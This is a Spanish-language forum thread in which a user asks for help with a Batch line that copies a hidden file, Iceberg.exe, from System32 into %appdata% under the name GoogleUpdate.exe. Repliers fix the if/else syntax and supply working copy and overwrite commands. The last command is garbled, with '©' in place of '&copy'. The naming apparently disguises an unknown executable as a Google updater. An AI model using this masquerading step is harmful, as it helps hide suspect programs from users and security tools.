Estoy programando en Batch pero me surgio una duda, esta linea servira?
if not exist %appdata%\GoogleUpdate\GoogleUpdate.exe Xcopy /y /h %windir%\System32\Iceberg.exe %appdata%\GoogleUpdate\GoogleUpdate.exe /f else exit.
que se supone que queiro que haga? facil, si el archivo "%appdata%\GoogleUpdate\GoogleUpdate.exe"
no existe que copie un archivo oculto llamado "%windir%\System32\Iceberg.exe"
y que lo pase con el nombre de"%appdata%\GoogleUpdate\GoogleUpdate.exe /f"
pero si "%appdata%\GoogleUpdate\GoogleUpdate.exe"
no existe que salga, o acaso me lo tomara en el principio? que si el archivo " %appdata%\GoogleUpdate\GoogleUpdate.exe"
si existe se salga??
dentro de if not exist %appdata%\GoogleUpdate\GoogleUpdate.exe...
o le tengo que meter (ya al final) if errorlevel
al final enves de else
Gracias, Saludos =D
no entendi :-\ ...para colmo el primer code no se lee :(
No entendi muy bien pero creo que cuando utilizas un Else, la instruccion del If debe ir entre parentesis.
if exist "Ruta_del_archivo" (comandos1) else comandos2
Un saludo ;)
Lo que haria esta linea sera copiar el archivo "%windir%\System32\Iceberg.exe" con el nombre de GoogleUpdate.exe si no existe "%appdata%\GoogleUpdate\GoogleUpdate.exe", pero si "%appdata%\GoogleUpdate\GoogleUpdate.exe" existe que no ocurra nada.
if not exist "%appdata%\GoogleUpdate\GoogleUpdate.exe" (copy "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe")
Y si existe "%appdata%\GoogleUpdate\GoogleUpdate.exe" y lo queres reemplazar tambien por iceberg.exe te quedaria asi
if not exist "%appdata%\GoogleUpdate\GoogleUpdate.exe" (copy "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe") else (del /f /q "%appdata%\GoogleUpdate\GoogleUpdate.exe"© "%windir%\System32\Iceberg.exe" "%appdata%\GoogleUpdate\GoogleUpdate.exe")
Salu2.